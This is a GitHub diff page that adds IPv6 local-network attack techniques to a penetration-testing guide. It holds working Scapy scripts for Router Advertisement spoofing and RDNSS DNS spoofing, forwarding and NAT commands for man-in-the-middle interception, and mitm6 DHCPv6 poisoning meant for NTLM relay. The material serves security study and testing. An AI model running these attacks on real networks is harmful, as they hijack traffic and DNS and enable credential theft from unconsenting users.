You signed in with another tab or window. Reload to refresh your session.You signed out in another tab or window. Reload to refresh your session.You switched accounts on another tab or window. Reload to refresh your session.Dismiss alert
Copy file name to clipboardExpand all lines: src/generic-methodologies-and-resources/pentesting-network/pentesting-ipv6.md
+180-1Lines changed: 180 additions & 1 deletion
Original file line number
Diff line number
Diff line change
@@ -112,12 +112,191 @@ To identify IPv6 addresses, certain DNS record types can be queried:
112
112
113
113
After pinpointing IPv6 addresses associated with an organization, the `ping6` utility can be used for probing. This tool helps in assessing the responsiveness of identified IPv6 addresses, and might also assist in discovering adjacent IPv6 devices.
114
114
115
+
## IPv6 Local Network Attack Techniques
116
+
117
+
The following sections cover practical layer-2 IPv6 attacks that can be executed **inside the same /64 segment** without knowing any global prefix. All the packets shown below are **link-local** and travel only through the local switch, making them extremely stealthy in most environments.
118
+
119
+
### System Tuning for a Stable Lab
120
+
121
+
Before playing with IPv6 traffic it is recommended to harden your box to avoid being poisoned by your own tests and to get the best performance during massive packet injection/sniffing.
122
+
123
+
```bash
124
+
# Enable promiscuous mode to capture all frames
125
+
sudo ip link set dev eth0 promisc on
126
+
127
+
# Ignore rogue Router Advertisements & Redirects coming from the segment
# Increase fd / backlog limits when generating lots of traffic
132
+
sudo sysctl -w fs.file-max=100000
133
+
sudo sysctl -w net.core.somaxconn=65535
134
+
sudo sysctl -w net.ipv4.tcp_tw_reuse=1
135
+
```
136
+
137
+
### Passive NDP & DHCPv6 Sniffing
138
+
139
+
Because every IPv6 host **automatically joins multiple multicast groups** (`ff02::1`, `ff02::2`, …) and speaks ICMPv6 for SLAAC/NDP, you can map the whole segment without sending a single packet. The following Python/Scapy one-liner listens for the most interesting L2 messages and prints a colored, timestamped log of who is who:
140
+
141
+
```python
142
+
#!/usr/bin/env python3
143
+
from scapy.all import*
144
+
from scapy.layers.dhcp6 import*
145
+
from datetime import datetime
146
+
from colorama import Fore, Style, init
147
+
import argparse
148
+
149
+
init(autoreset=True)
150
+
151
+
# Human-readable names for protocols we care about
Result: a full **link-local topology** (MAC ⇄ IPv6) in a matter of seconds, without triggering IPS/IDS systems that rely on active scans.
209
+
210
+
### Router Advertisement (RA) Spoofing
211
+
212
+
IPv6 hosts rely on **ICMPv6 Router Advertisements** for default-gateway discovery. If you inject forged RAs **more frequently** than the legitimate router, devices will silently switch to you as the gateway.
213
+
214
+
```python
215
+
#!/usr/bin/env python3
216
+
from scapy.all import*
217
+
import argparse
218
+
219
+
p = argparse.ArgumentParser()
220
+
p.add_argument('-i','--interface',required=True)
221
+
p.add_argument('-m','--mac',required=True,help='Source MAC (will be put in SrcLL option)')
222
+
p.add_argument('--llip',required=True,help='Link-local source IP, e.g. fe80::dead:beef')
To actually **forward traffic** after winning the race:
237
+
238
+
```bash
239
+
sudo sysctl -w net.ipv6.conf.all.forwarding=1
240
+
sudo ip6tables -A FORWARD -i eth0 -j ACCEPT
241
+
sudo ip6tables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
242
+
```
243
+
244
+
### RDNSS (DNS) Spoofing via RA
245
+
246
+
[RFC 8106](https://datatracker.ietf.org/doc/html/rfc8106) allows adding a **Recursive DNS Server (RDNSS)** option inside a RA. Modern OSes (Win 10 ≥1709, Win 11, macOS Big Sur, Linux systemd-resolved, …) automatically trust it:
247
+
248
+
```python
249
+
#!/usr/bin/env python3
250
+
from scapy.all import*
251
+
import argparse
252
+
253
+
p = argparse.ArgumentParser()
254
+
p.add_argument('-i','--interface',required=True)
255
+
p.add_argument('--llip',required=True)
256
+
p.add_argument('--dns',required=True,help='Fake DNS IPv6')
Clients will **prepend** your DNS to their resolver list for the given lifetime, granting full DNS hijacking until the value expires or you send a `lifetime=0` revert.
269
+
270
+
### DHCPv6 DNS Spoofing (mitm6)
271
+
272
+
Instead of SLAAC, Windows networks often depend on **stateless DHCPv6** for DNS. [mitm6](https://github.com/rofl0r/mitm6) automatically replies to `Solicit` messages with an **Advertise → Reply** flow that assigns **your link-local address as DNS for 300 seconds**. This unlocks:
273
+
274
+
* NTLM relay attacks (WPAD + DNS hijacking)
275
+
* Intercepting internal name resolution without touching routers
276
+
277
+
Typical usage:
278
+
279
+
```bash
280
+
sudo mitm6 -i eth0 --no-ra # only DHCPv6 poisoning
0 commit comments